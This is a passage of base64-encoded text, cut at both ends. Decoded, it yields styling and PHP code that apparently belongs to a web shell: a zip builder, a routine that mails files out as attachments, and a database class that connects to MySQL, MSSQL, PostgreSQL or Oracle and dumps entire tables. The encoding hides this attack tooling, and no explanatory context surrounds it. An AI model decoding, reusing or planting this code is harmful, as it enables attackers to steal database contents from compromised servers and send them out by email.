0ZTsNCn0NCkJPRFkgew0KCVNDUk9MTEJBUi1GQUNFLUNPTE9SOiBCbGFjazsgU0NST0xMQkFSLUhJR0hMSUdIVC1DT0xPUjogV2hpdGU7IFNDUk9MTEJBUi1TSEFET1ctQ09MT1I6IFdoaXRlOyBTQ1JPTExCQVItM0RMSUdIVC1DT0xPUjogV2hpdGU7IFNDUk9MTEJBUi1BUlJPVy1DT0xPUjogQmxhY2s7IFNDUk9MTEJBUi1UUkFDSy1DT0xPUjogV2hpdGU7IFNDUk9MTEJBUi1EQVJLU0hBRE9XLUNPTE9SOiBXaGl0ZQ0KbWFyZ2luOiAxcHg7DQpjb2xvcjogUmVkOw0KYmFja2dyb3VuZC1jb2xvcjogQmxhY2s7DQp9DQoubWFpbiB7DQptYXJnaW4JCQk6IC0yODdweCAwcHggMHB4IC00OTBweDsNCmJvcmRlcgkJCTogV2hpdGUgc29saWQgMXB4Ow0KQk9SREVSLUNPTE9SOiAjODNjODA5Ow0KfQ0KLnR0IHsNCmJhY2tncm91bmQtY29sb3I6IEJsYWNrOw0KfQ0KDQpBOmxpbmsgew0KCUNPTE9SOiAjMzQ3MjAyOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6dmlzaXRlZCB7DQoJQ09MT1I6ICMzNDcyMDI7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KQTpob3ZlciB7DQoJQ09MT1I6IFdoaXRlOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6YWN0aXZlIHsNCglDT0xPUjogV2hpdGU7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KPC9TVFlMRT4NCjxzY3JpcHQgbGFuZ3VhZ2U9XCdqYXZhc2NyaXB0XCc+DQpmdW5jdGlvbiBoaWRlX2RpdihpZCkNCnsNCiAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpLnN0eWxlLmRpc3BsYXkgPSBcJ25vbmVcJzsNCiAgZG9jdW1lbnQuY29va2llPWlkK1wnPTA7XCc7DQp9DQpmdW5jdGlvbiBzaG93X2RpdihpZCkNCnsNCiAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpLnN0eWxlLmRpc3BsYXkgPSBcJ2Jsb2NrXCc7DQogIGRvY3VtZW50LmNvb2tpZT1pZCtcJz0xO1wnOw0KfQ0KZnVuY3Rpb24gY2hhbmdlX2RpdnN0KGlkKQ0Kew0KICBpZiAoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpLnN0eWxlLmRpc3BsYXkgPT0gXCdub25lXCcpDQogICAgc2hvd19kaXYoaWQpOw0KICBlbHNlDQogICAgaGlkZV9kaXYoaWQpOw0KfQ0KPC9zY3JpcHQ+JzsNCmNsYXNzIHppcGZpbGUNCnsNCiAgICB2YXIgJGRhdGFzZWMgICAgICA9IGFycmF5KCk7DQogICAgdmFyICRjdHJsX2RpciAgICAgPSBhcnJheSgpOw0KICAgIHZhciAkZW9mX2N0cmxfZGlyID0gIlx4NTBceDRiXHgwNVx4MDZceDAwXHgwMFx4MDBceDAwIjsNCiAgICB2YXIgJG9sZF9vZmZzZXQgICA9IDA7DQogICAgZnVuY3Rpb24gdW5peDJEb3NUaW1lKCR1bml4dGltZSA9IDApIHsNCiAgICAgICAgJHRpbWVhcnJheSA9ICgkdW5peHRpbWUgPT0gMCkgPyBnZXRkYXRlKCkgOiBnZXRkYXRlKCR1bml4dGltZSk7DQogICAgICAgIGlmICgkdGltZWFycmF5Wyd5ZWFyJ10gPCAxOTgwKSB7DQogICAgICAgICAgICAkdGltZWFycmF5Wyd5ZWFyJ10gICAgPSAxOTgwOw0KICAgICAgICAgICAgJHRpbWVhcnJheVsnbW9uJ10gICAgID0gMTsNCiAgICAgICAgICAgICR0aW1lYXJyYXlbJ21kYXknXSAgICA9IDE7DQogICAgICAgICAgICAkdGltZWFycmF5Wydob3VycyddICAgPSAwOw0KICAgICAgICAgICAgJHRpbWVhcnJheVsnbWludXRlcyddID0gMDsNCiAgICAgICAgICAgICR0aW1lYXJyYXlbJ3NlY29uZHMnXSA9IDA7DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICgoJHRpbWVhcnJheVsneWVhciddIC0gMTk4MCkgPDwgMjUpIHwgKCR0aW1lYXJyYXlbJ21vbiddIDw8IDIxKSB8ICgkdGltZWFycmF5WydtZGF5J10gPDwgMTYpIHwNCiAgICAgICAgICAgICAgICAoJHRpbWVhcnJheVsnaG91cnMnXSA8PCAxMSkgfCAoJHRpbWVhcnJheVsnbWludXRlcyddIDw8IDUpIHwgKCR0aW1lYXJyYXlbJ3NlY29uZHMnXSA+PiAxKTsNCiAgICB9DQogICAgZnVuY3Rpb24gYWRkRmlsZSgkZGF0YSwgJG5hbWUsICR0aW1lID0gMCkNCiAgICB7DQogICAgICAgICRuYW1lICAgICA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJG5hbWUpOw0KICAgICAgICAkZHRpbWUgICAgPSBkZWNoZXgoJHRoaXMtPnVuaXgyRG9zVGltZSgkdGltZSkpOw0KICAgICAgICAkaGV4ZHRpbWUgPSAnXHgnIC4gJGR0aW1lWzZdIC4gJGR0aW1lWzddDQogICAgICAgICAgICAgICAgICAuICdceCcgLiAkZHRpbWVbNF0gLiAkZHRpbWVbNV0NCiAgICAgICAgICAgICAgICAgIC4gJ1x4JyAuICRkdGltZVsyXSAuICRkdGltZVszXQ0KICAgICAgICAgICAgICAgICAgLiAnXHgnIC4gJGR0aW1lWzBdIC4gJGR0aW1lWzFdOw0KICAgICAgICBldmFsKCckaGV4ZHRpbWUgPSAiJyAuICRoZXhkdGltZSAuICciOycpOw0KICAgICAgICAkZnIgICA9ICJceDUwXHg0Ylx4MDNceDA0IjsNCiAgICAgICAgJGZyICAgLj0gIlx4MTRceDAwIjsNCiAgICAgICAgJGZyICAgLj0gIlx4MDBceDAwIjsNCiAgICAgICAgJGZyICAgLj0gIlx4MDhceDAwIjsNCiAgICAgICAgJGZyICAgLj0gJGhleGR0aW1lOw0KICAgICAgICAkdW5jX2xlbiA9IHN0cmxlbigkZGF0YSk7DQogICAgICAgICRjcmMgICAgID0gY3JjMzIoJGRhdGEpOw0KICAgICAgICAkemRhdGEgICA9IGd6Y29tcHJlc3MoJGRhdGEpOw0KICAgICAgICAkemRhdGEgICA9IHN1YnN0cihzdWJzdHIoJHpkYXRhLCAwLCBzdHJsZW4oJHpkYXRhKSAtIDQpLCAyKTsNCiAgICAgICAgJGNfbGVuICAgPSBzdHJsZW4oJHpkYXRhKTsNCiAgICAgICAgJGZyICAgICAgLj0gcGFjaygnVicsICRjcmMpOw0KICAgICAgICAkZnIgICAgICAuPSBwYWNrKCdWJywgJGNfbGVuKTsNCiAgICAgICAgJGZyICAgICAgLj0gcGFjaygnVicsICR1bmNfbGVuKTsNCiAgICAgICAgJGZyICAgICAgLj0gcGFjaygndicsIHN0cmxlbigkbmFtZSkpOw0KICAgICAgICAkZnIgICAgICAuPSBwYWNrKCd2JywgMCk7DQogICAgICAgICRmciAgICAgIC49ICRuYW1lOw0KICAgICAgICAkZnIgLj0gJHpkYXRhOw0KICAgICAgICAkdGhpcyAtPiBkYXRhc2VjW10gPSAkZnI7DQogICAgICAgICRjZHJlYyA9ICJceDUwXHg0Ylx4MDFceDAyIjsNCiAgICAgICAgJGNkcmVjIC49ICJceDAwXHgwMCI7DQogICAgICAgICRjZHJlYyAuPSAiXHgxNFx4MDAiOw0KICAgICAgICAkY2RyZWMgLj0gIlx4MDBceDAwIjsNCiAgICAgICAgJGNkcmVjIC49ICJceDA4XHgwMCI7DQogICAgICAgICRjZHJlYyAuPSAkaGV4ZHRpbWU7DQogICAgICAgICRjZHJlYyAuPSBwYWNrKCdWJywgJGNyYyk7DQogICAgICAgICRjZHJlYyAuPSBwYWNrKCdWJywgJGNfbGVuKTsNCiAgICAgICAgJGNkcmVjIC49IHBhY2soJ1YnLCAkdW5jX2xlbik7DQogICAgICAgICRjZHJlYyAuPSBwYWNrKCd2Jywgc3RybGVuKCRuYW1lKSApOw0KICAgICAgICAkY2RyZWMgLj0gcGFjaygndicsIDAgKTsNCiAgICAgICAgJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7DQogICAgICAgICRjZHJlYyAuPSBwYWNrKCd2JywgMCApOw0KICAgICAgICAkY2RyZWMgLj0gcGFjaygndicsIDAgKTsNCiAgICAgICAgJGNkcmVjIC49IHBhY2soJ1YnLCAzMiApOw0KICAgICAgICAkY2RyZWMgLj0gcGFjaygnVicsICR0aGlzIC0+IG9sZF9vZmZzZXQgKTsNCiAgICAgICAgJHRoaXMgLT4gb2xkX29mZnNldCArPSBzdHJsZW4oJGZyKTsNCiAgICAgICAgJGNkcmVjIC49ICRuYW1lOw0KICAgICAgICAkdGhpcyAtPiBjdHJsX2RpcltdID0gJGNkcmVjOw0KICAgIH0NCiAgICBmdW5jdGlvbiBmaWxlKCkNCiAgICB7DQogICAgICAgICRkYXRhICAgID0gaW1wbG9kZSgnJywgJHRoaXMgLT4gZGF0YXNlYyk7DQogICAgICAgICRjdHJsZGlyID0gaW1wbG9kZSgnJywgJHRoaXMgLT4gY3RybF9kaXIpOw0KICAgICAgICByZXR1cm4NCiAgICAgICAgICAgICRkYXRhIC4NCiAgICAgICAgICAgICRjdHJsZGlyIC4NCiAgICAgICAgICAgICR0aGlzIC0+IGVvZl9jdHJsX2RpciAuDQogICAgICAgICAgICBwYWNrKCd2Jywgc2l6ZW9mKCR0aGlzIC0+IGN0cmxfZGlyKSkgLg0KICAgICAgICAgICAgcGFjaygndicsIHNpemVvZigkdGhpcyAtPiBjdHJsX2RpcikpIC4NCiAgICAgICAgICAgIHBhY2soJ1YnLCBzdHJsZW4oJGN0cmxkaXIpKSAuDQogICAgICAgICAgICBwYWNrKCdWJywgc3RybGVuKCRkYXRhKSkgLg0KICAgICAgICAgICAgIlx4MDBceDAwIjsNCiAgICB9DQp9DQpmdW5jdGlvbiBjb21wcmVzcygmJGZpbGVuYW1lLCYkZmlsZWR1bXAsJGNvbXByZXNzKQ0KIHsNCiAgICBnbG9iYWwgJGNvbnRlbnRfZW5jb2Rpbmc7DQogICAgZ2xvYmFsICRtaW1lX3R5cGU7DQogICAgaWYgKCRjb21wcmVzcyA9PSAnYnppcCcgJiYgQGZ1bmN0aW9uX2V4aXN0cygnYnpjb21wcmVzcycpKQ0KICAgICB7DQogICAgICAgICRmaWxlbmFtZSAgLj0gJy5iejInOw0KICAgICAgICAkbWltZV90eXBlID0gJ2FwcGxpY2F0aW9uL3gtYnppcDInOw0KICAgICAgICAkZmlsZWR1bXAgPSBiemNvbXByZXNzKCRmaWxlZHVtcCk7DQogICAgIH0NCiAgICAgZWxzZSBpZiAoJGNvbXByZXNzID09ICdnemlwJyAmJiBAZnVuY3Rpb25fZXhpc3RzKCdnemVuY29kZScpKQ0KICAgICB7DQogICAgICAgICRmaWxlbmFtZSAgLj0gJy5neic7DQogICAgICAgICRjb250ZW50X2VuY29kaW5nID0gJ3gtZ3ppcCc7DQogICAgICAgICRtaW1lX3R5cGUgPSAnYXBwbGljYXRpb24veC1nemlwJzsNCiAgICAgICAgJGZpbGVkdW1wID0gZ3plbmNvZGUoJGZpbGVkdW1wKTsNCiAgICAgfQ0KICAgICBlbHNlIGlmICgkY29tcHJlc3MgPT0gJ3ppcCcgJiYgQGZ1bmN0aW9uX2V4aXN0cygnZ3pjb21wcmVzcycpKQ0KICAgICB7DQogICAgIAkkZmlsZW5hbWUgLj0gJy56aXAnOw0KICAgICAgICAkbWltZV90eXBlID0gJ2FwcGxpY2F0aW9uL3ppcCc7DQogICAgICAgICR6aXBmaWxlID0gbmV3IHppcGZpbGUoKTsNCiAgICAgICAgJHppcGZpbGUgLT4gYWRkRmlsZSgkZmlsZWR1bXAsIHN1YnN0cigkZmlsZW5hbWUsIDAsIC00KSk7DQogICAgICAgICRmaWxlZHVtcCA9ICR6aXBmaWxlIC0+IGZpbGUoKTsNCiAgICAgfQ0KICAgICBlbHNlDQogICAgIHsNCiAgICAgCSRtaW1lX3R5cGUgPSAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJzsNCiAgICAgfQ0KIH0NCmZ1bmN0aW9uIG1haWxhdHRhY2goJHRvLCRmcm9tLCRzdWJqLCRhdHRhY2gpDQogew0KICRoZWFkZXJzICA9ICJGcm9tOiAkZnJvbVxyXG4iOw0KICRoZWFkZXJzIC49ICJNSU1FLVZlcnNpb246IDEuMFxyXG4iOw0KICRoZWFkZXJzIC49ICJDb250ZW50LVR5cGU6ICIuJGF0dGFjaFsndHlwZSddOw0KICRoZWFkZXJzIC49ICI7IG5hbWU9XCIiLiRhdHRhY2hbJ25hbWUnXS4iXCJcclxuIjsNCiAkaGVhZGVycyAuPSAiQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogYmFzZTY0XHJcblxyXG4iOw0KICRoZWFkZXJzIC49IGNodW5rX3NwbGl0KGJhc2U2NF9lbmNvZGUoJGF0dGFjaFsnY29udGVudCddKSkuIlxyXG4iOw0KIGlmKEBtYWlsKCR0bywkc3ViaiwiIiwkaGVhZGVycykpIHsgcmV0dXJuIDE7IH0NCiByZXR1cm4gMDsNCiB9DQpjbGFzcyBteV9zcWwNCiB7DQogdmFyICRob3N0ID0gJ2xvY2FsaG9zdCc7DQogdmFyICRwb3J0ID0gJyc7DQogdmFyICR1c2VyID0gJyc7DQogdmFyICRwYXNzID0gJyc7DQogdmFyICRiYXNlID0gJyc7DQogdmFyICRkYiAgID0gJyc7DQogdmFyICRjb25uZWN0aW9uOw0KIHZhciAkcmVzOw0KIHZhciAkZXJyb3I7DQogdmFyICRyb3dzOw0KIHZhciAkY29sdW1uczsNCiB2YXIgJG51bV9yb3dzOw0KIHZhciAkbnVtX2ZpZWxkczsNCiB2YXIgJGR1bXA7DQoNCiBmdW5jdGlvbiBjb25uZWN0KCkNCiAgew0KICAJc3dpdGNoKCR0aGlzLT5kYikNCiAgICAgew0KICAJIGNhc2UgJ015U1FMJzoNCiAgCSAgaWYoZW1wdHkoJHRoaXMtPnBvcnQpKSB7ICR0aGlzLT5wb3J0ID0gJzMzMDYnOyB9DQogIAkgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ215c3FsX2Nvbm5lY3QnKSkgcmV0dXJuIDA7DQogIAkgICR0aGlzLT5jb25uZWN0aW9uID0gQG15c3FsX2Nvbm5lY3QoJHRoaXMtPmhvc3QuJzonLiR0aGlzLT5wb3J0LCR0aGlzLT51c2VyLCR0aGlzLT5wYXNzKTsNCiAgCSAgaWYoaXNfcmVzb3VyY2UoJHRoaXMtPmNvbm5lY3Rpb24pKSByZXR1cm4gMTsNCiAgCSBicmVhazsNCiAgICAgY2FzZSAnTVNTUUwnOg0KICAgICAgaWYoZW1wdHkoJHRoaXMtPnBvcnQpKSB7ICR0aGlzLT5wb3J0ID0gJzE0MzMnOyB9DQogIAkgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21zc3FsX2Nvbm5lY3QnKSkgcmV0dXJuIDA7DQogIAkgICR0aGlzLT5jb25uZWN0aW9uID0gQG1zc3FsX2Nvbm5lY3QoJHRoaXMtPmhvc3QuJywnLiR0aGlzLT5wb3J0LCR0aGlzLT51c2VyLCR0aGlzLT5wYXNzKTsNCiAgICAgIGlmKCR0aGlzLT5jb25uZWN0aW9uKSByZXR1cm4gMTsNCiAgICAgYnJlYWs7DQogICAgIGNhc2UgJ1Bvc3RncmVTUUwnOg0KICAgICAgaWYoZW1wdHkoJHRoaXMtPnBvcnQpKSB7ICR0aGlzLT5wb3J0ID0gJzU0MzInOyB9DQogICAgICAkc3RyID0gImhvc3Q9JyIuJHRoaXMtPmhvc3QuIicgcG9ydD0nIi4kdGhpcy0+cG9ydC4iJyB1c2VyPSciLiR0aGlzLT51c2VyLiInIHBhc3N3b3JkPSciLiR0aGlzLT5wYXNzLiInIGRibmFtZT0nIi4kdGhpcy0+YmFzZS4iJyI7DQogICAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdwZ19jb25uZWN0JykpIHJldHVybiAwOw0KICAgICAgJHRoaXMtPmNvbm5lY3Rpb24gPSBAcGdfY29ubmVjdCgkc3RyKTsNCiAgICAgIGlmKGlzX3Jlc291cmNlKCR0aGlzLT5jb25uZWN0aW9uKSkgcmV0dXJuIDE7DQogICAgIGJyZWFrOw0KICAgICBjYXNlICdPcmFjbGUnOg0KICAgICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnb2NpbG9nb24nKSkgcmV0dXJuIDA7DQogICAgICAkdGhpcy0+Y29ubmVjdGlvbiA9IEBvY2lsb2dvbigkdGhpcy0+dXNlciwgJHRoaXMtPnBhc3MsICR0aGlzLT5iYXNlKTsNCiAgICAgIGlmKGlzX3Jlc291cmNlKCR0aGlzLT5jb25uZWN0aW9uKSkgcmV0dXJuIDE7DQogICAgIGJyZWFrOw0KICAgICB9DQogICAgcmV0dXJuIDA7DQogIH0NCg0KIGZ1bmN0aW9uIHNlbGVjdF9kYigpDQogIHsNCiAgIHN3aXRjaCgkdGhpcy0+ZGIpDQogICAgew0KICAJY2FzZSAnTXlTUUwnOg0KICAJIGlmKEBteXNxbF9zZWxlY3RfZGIoJHRoaXMtPmJhc2UsJHRoaXMtPmNvbm5lY3Rpb24pKSByZXR1cm4gMTsNCiAgICBicmVhazsNCiAgICBjYXNlICdNU1NRTCc6DQogIAkgaWYoQG1zc3FsX3NlbGVjdF9kYigkdGhpcy0+YmFzZSwkdGhpcy0+Y29ubmVjdGlvbikpIHJldHVybiAxOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ1Bvc3RncmVTUUwnOg0KICAgICByZXR1cm4gMTsNCiAgICBicmVhazsNCiAgICBjYXNlICdPcmFjbGUnOg0KICAgICByZXR1cm4gMTsNCiAgICBicmVhazsNCiAgICB9DQogICByZXR1cm4gMDsNCiAgfQ0KDQogZnVuY3Rpb24gcXVlcnkoJHF1ZXJ5KQ0KICB7DQogICAkdGhpcy0+cmVzPSR0aGlzLT5lcnJvcj0nJzsNCiAgIHN3aXRjaCgkdGhpcy0+ZGIpDQogICAgew0KICAJY2FzZSAnTXlTUUwnOg0KICAgICBpZihmYWxzZT09PSgkdGhpcy0+cmVzPUBteXNxbF9xdWVyeSgnLyonLmNocigwKS4nKi8nLiRxdWVyeSwkdGhpcy0+Y29ubmVjdGlvbikpKQ0KICAgICAgew0KICAgICAgJHRoaXMtPmVycm9yID0gQG15c3FsX2Vycm9yKCR0aGlzLT5jb25uZWN0aW9uKTsNCiAgICAgIHJldHVybiAwOw0KICAgICAgfQ0KICAgICBlbHNlIGlmKGlzX3Jlc291cmNlKCR0aGlzLT5yZXMpKSB7IHJldHVybiAxOyB9DQogICAgIHJldHVybiAyOw0KICAJYnJlYWs7DQogICAgY2FzZSAnTVNTUUwnOg0KICAgICBpZihmYWxzZT09PSgkdGhpcy0+cmVzPUBtc3NxbF9xdWVyeSgkcXVlcnksJHRoaXMtPmNvbm5lY3Rpb24pKSkNCiAgICAgIHsNCiAgICAgICR0aGlzLT5lcnJvciA9ICdRdWVyeSBlcnJvcic7DQogICAgICByZXR1cm4gMDsNCiAgICAgIH0NCiAgICAgIGVsc2UgaWYoQG1zc3FsX251bV9yb3dzKCR0aGlzLT5yZXMpID4gMCkgeyByZXR1cm4gMTsgfQ0KICAgICByZXR1cm4gMjsNCiAgICBicmVhazsNCiAgICBjYXNlICdQb3N0Z3JlU1FMJzoNCiAgICAgaWYoZmFsc2U9PT0oJHRoaXMtPnJlcz1AcGdfcXVlcnkoJHRoaXMtPmNvbm5lY3Rpb24sJHF1ZXJ5KSkpDQogICAgICB7DQogICAgICAkdGhpcy0+ZXJyb3IgPSBAcGdfbGFzdF9lcnJvcigkdGhpcy0+Y29ubmVjdGlvbik7DQogICAgICByZXR1cm4gMDsNCiAgICAgIH0NCiAgICAgIGVsc2UgaWYoQHBnX251bV9yb3dzKCR0aGlzLT5yZXMpID4gMCkgeyByZXR1cm4gMTsgfQ0KICAgICByZXR1cm4gMjsNCiAgICBicmVhazsNCiAgICBjYXNlICdPcmFjbGUnOg0KICAgICBpZihmYWxzZT09PSgkdGhpcy0+cmVzPUBvY2lwYXJzZSgkdGhpcy0+Y29ubmVjdGlvbiwkcXVlcnkpKSkNCiAgICAgIHsNCiAgICAgICR0aGlzLT5lcnJvciA9ICdRdWVyeSBwYXJzZSBlcnJvcic7DQogICAgICB9DQogICAgIGVsc2UNCiAgICAgIHsNCiAgICAgIGlmKEBvY2lleGVjdXRlKCR0aGlzLT5yZXMpKQ0KICAgICAgIHsNCiAgICAgICBpZihAb2Npcm93Y291bnQoJHRoaXMtPnJlcykgIT0gMCkgcmV0dXJuIDI7DQogICAgICAgcmV0dXJuIDE7DQogICAgICAgfQ0KICAgICAgJGVycm9yID0gQG9jaWVycm9yKCk7DQogICAgICAkdGhpcy0+ZXJyb3I9JGVycm9yWydtZXNzYWdlJ107DQogICAgICB9DQogICAgYnJlYWs7DQogICAgfQ0KICByZXR1cm4gMDsNCiAgfQ0KIGZ1bmN0aW9uIGdldF9yZXN1bHQoKQ0KICB7DQogICAkdGhpcy0+cm93cz1hcnJheSgpOw0KICAgJHRoaXMtPmNvbHVtbnM9YXJyYXkoKTsNCiAgICR0aGlzLT5udW1fcm93cz0kdGhpcy0+bnVtX2ZpZWxkcz0wOw0KICAgc3dpdGNoKCR0aGlzLT5kYikNCiAgICB7DQogIAljYXNlICdNeVNRTCc6DQogIAkgJHRoaXMtPm51bV9yb3dzPUBteXNxbF9udW1fcm93cygkdGhpcy0+cmVzKTsNCiAgCSAkdGhpcy0+bnVtX2ZpZWxkcz1AbXlzcWxfbnVtX2ZpZWxkcygkdGhpcy0+cmVzKTsNCiAgCSB3aGlsZShmYWxzZSAhPT0gKCR0aGlzLT5yb3dzW10gPSBAbXlzcWxfZmV0Y2hfYXNzb2MoJHRoaXMtPnJlcykpKTsNCiAgCSBAbXlzcWxfZnJlZV9yZXN1bHQoJHRoaXMtPnJlcyk7DQogIAkgaWYoJHRoaXMtPm51bV9yb3dzKXskdGhpcy0+Y29sdW1ucyA9IEBhcnJheV9rZXlzKCR0aGlzLT5yb3dzWzBdKTsgcmV0dXJuIDE7fQ0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ01TU1FMJzoNCiAgCSAkdGhpcy0+bnVtX3Jvd3M9QG1zc3FsX251bV9yb3dzKCR0aGlzLT5yZXMpOw0KICAJICR0aGlzLT5udW1fZmllbGRzPUBtc3NxbF9udW1fZmllbGRzKCR0aGlzLT5yZXMpOw0KICAJIHdoaWxlKGZhbHNlICE9PSAoJHRoaXMtPnJvd3NbXSA9IEBtc3NxbF9mZXRjaF9hc3NvYygkdGhpcy0+cmVzKSkpOw0KICAJIEBtc3NxbF9mcmVlX3Jlc3VsdCgkdGhpcy0+cmVzKTsNCiAgCSBpZigkdGhpcy0+bnVtX3Jvd3MpeyR0aGlzLT5jb2x1bW5zID0gQGFycmF5X2tleXMoJHRoaXMtPnJvd3NbMF0pOyByZXR1cm4gMTt9Ow0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ1Bvc3RncmVTUUwnOg0KICAJICR0aGlzLT5udW1fcm93cz1AcGdfbnVtX3Jvd3MoJHRoaXMtPnJlcyk7DQogIAkgJHRoaXMtPm51bV9maWVsZHM9QHBnX251bV9maWVsZHMoJHRoaXMtPnJlcyk7DQogIAkgd2hpbGUoZmFsc2UgIT09ICgkdGhpcy0+cm93c1tdID0gQHBnX2ZldGNoX2Fzc29jKCR0aGlzLT5yZXMpKSk7DQogIAkgQHBnX2ZyZWVfcmVzdWx0KCR0aGlzLT5yZXMpOw0KICAJIGlmKCR0aGlzLT5udW1fcm93cyl7JHRoaXMtPmNvbHVtbnMgPSBAYXJyYXlfa2V5cygkdGhpcy0+cm93c1swXSk7IHJldHVybiAxO30NCiAgICBicmVhazsNCiAgICBjYXNlICdPcmFjbGUnOg0KICAgICAkdGhpcy0+bnVtX2ZpZWxkcz1Ab2NpbnVtY29scygkdGhpcy0+cmVzKTsNCiAgICAgd2hpbGUoZmFsc2UgIT09ICgkdGhpcy0+cm93c1tdID0gQG9jaV9mZXRjaF9hc3NvYygkdGhpcy0+cmVzKSkpICR0aGlzLT5udW1fcm93cysrOw0KICAgICBAb2NpZnJlZXN0YXRlbWVudCgkdGhpcy0+cmVzKTsNCiAgICAgaWYoJHRoaXMtPm51bV9yb3dzKXskdGhpcy0+Y29sdW1ucyA9IEBhcnJheV9rZXlzKCR0aGlzLT5yb3dzWzBdKTsgcmV0dXJuIDE7fQ0KICAgIGJyZWFrOw0KICAgIH0NCiAgIHJldHVybiAwOw0KICB9DQogZnVuY3Rpb24gZHVtcCgkdGFibGUpDQogIHsNCiAgIGlmKGVtcHR5KCR0YWJsZSkpIHJldHVybiAwOw0KICAgJHRoaXMtPmR1bXA9YXJyYXkoKTsNCiAgICR0aGlzLT5kdW1wWzBdID0gJyMjJzsNCiAgICR0aGlzLT5kdW1wWzFdID0gJyMjIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAnOw0KICAgJHRoaXMtPmR1bXBbMl0gPSAnIyMgIENyZWF0ZWQ6ICcuZGF0ZSAoImQvbS9ZIEg6aTpzIik7DQogICAkdGhpcy0+ZHVtcFszXSA9ICcjIyBEYXRhYmFzZTogJy4kdGhpcy0+YmFzZTsNCiAgICR0aGlzLT5kdW1wWzRdID0gJyMjICAgIFRhYmxlOiAnLiR0YWJsZTsNCiAgICR0aGlzLT5kdW1wWzVdID0gJyMjIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAnOw0KICAgc3dpdGNoKCR0aGlzLT5kYikNCiAgICB7DQogIAljYXNlICdNeVNRTCc6DQogIAkgJHRoaXMtPmR1bXBbMF0gPSAnIyMgTXlTUUwgZHVtcCc7DQogIAkgaWYoJHRoaXMtPnF1ZXJ5KCcvKicuY2hyKDApLicqLyBTSE9XIENSRUFURSBUQUJMRSBgJy4kdGFibGUuJ2AnKSE9MSkgcmV0dXJuIDA7DQogIAkgaWYoISR0aGlzLT5nZXRfcmVzdWx0KCkpIHJldHVybiAwOw0KICAJICR0aGlzLT5kdW1wW10gPSAkdGhpcy0+cm93c1swXVsnQ3JlYXRlIFRhYmxlJ107DQogICAgICR0aGlzLT5kdW1wW10gPSAnIyMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tICc7DQogIAkgaWYoJHRoaXMtPnF1ZXJ5KCcvKicuY2hyKDApLicqLyBTRUxFQ1QgKiBGUk9NIGAnLiR0YWJsZS4nYCcpIT0xKSByZXR1cm4gMDsNCiAgCSBpZighJHRoaXMtPmdldF9yZXN1bHQoKSkgcmV0dXJuIDA7DQogIAkgZm9yKCRpPTA7JGk8JHRoaXMtPm51bV9yb3dzOyRpKyspDQogIAkgIHsNCiAgICAgIGZvcmVhY2goJHRoaXMtPnJvd3NbJGldIGFzICRrPT4kdikgeyR0aGlzLT5yb3dzWyRpXVska10gPSBAbXlzcWxfcmVhbF9lc2NhcGVfc3RyaW5nKCR2KTt9DQogIAkgICR0aGlzLT5kdW1wW10gPSAnSU5TRVJUIElOVE8gYCcuJHRhYmxlLidgIChgJy5AaW1wbG9kZSgiYCwgYCIsICR0aGlzLT5jb2x1bW5zKS4nYCkgVkFMVUVTIChcJycuQGltcGxvZGUoIicsICciLCAkdGhpcy0+cm93c1skaV0pLidcJyk7JzsNCiAgCSAgfQ0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ01TU1FMJzoNCiAgICAgJHRoaXMtPmR1bXBbMF0gPSAnIyMgTVNTUUwgZHVtcCc7DQogICAgIGlmKCR0aGlzLT5xdWVyeSgnU0VMRUNUICogRlJPTSAnLiR0YWJsZSkhPTEpIHJldHVybiAwOw0KICAJIGlmKCEkdGhpcy0+Z2V0X3Jlc3VsdCgpKSByZXR1cm4gMDsNCiAgCSBmb3IoJGk9MDskaTwkdGhpcy0+bnVtX3Jvd3M7JGkrKykNCiAgCSAgew0KICAgICAgZm9yZWFjaCgkdGhpcy0+cm93c1skaV0gYXMgJGs9PiR2KSB7JHRoaXMtPnJvd3NbJGldWyRrXSA9IEBhZGRzbGFzaGVzKCR2KTt9DQogIAkgICR0aGlzLT5kdW1wW10gPSAnSU5TRVJUIElOVE8gJy4kdGFibGUuJyAoJy5AaW1wbG9kZSgiLCAiLCAkdGhpcy0+Y29sdW1ucykuJykgVkFMVUVTIChcJycuQGltcGxvZGUoIicsICciLCAkdGhpcy0+cm93c1skaV0pLidcJyk7JzsNCiAgCSAgfQ0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ1Bvc3RncmVTUUwnOg0KICAgICAkdGhpcy0+ZHVtcFswXSA9ICcjIyBQb3N0Z3JlU1FMIGR1bXAnOw0KICAgICBpZigkdGhpcy0+cXVlcnkoJ1NFTEVDVCAqIEZST00gJy4kdGFibGUpIT0xKSByZXR1cm4gMDsNCiAgCSBpZighJHRoaXMtPmdldF9yZXN1bHQoKSkgcmV0dXJuIDA7DQogIAkgZm9yKCRpPTA7JGk8JHRoaXMtPm51bV9yb3dzOyRpKyspDQogIAkgIHsNCiAgICAgIGZvcmVhY2goJHRoaXMtPnJvd3NbJGldIGFzICRrPT4kdikgeyR0aGlzLT5yb3dzWyRpXVska10gPSBAYWRkc2xhc2hlcygkdik7fQ0KICAJICAkdGhpcy0+ZHVtcFtdID0gJ0lOU0VSVCBJTlRPICcuJHRhYmxlLicgKCcuQGltcGxvZGUoIiwgIiwgJHRoaXMtPmNvbHVtbnMpLicpIFZBTFVF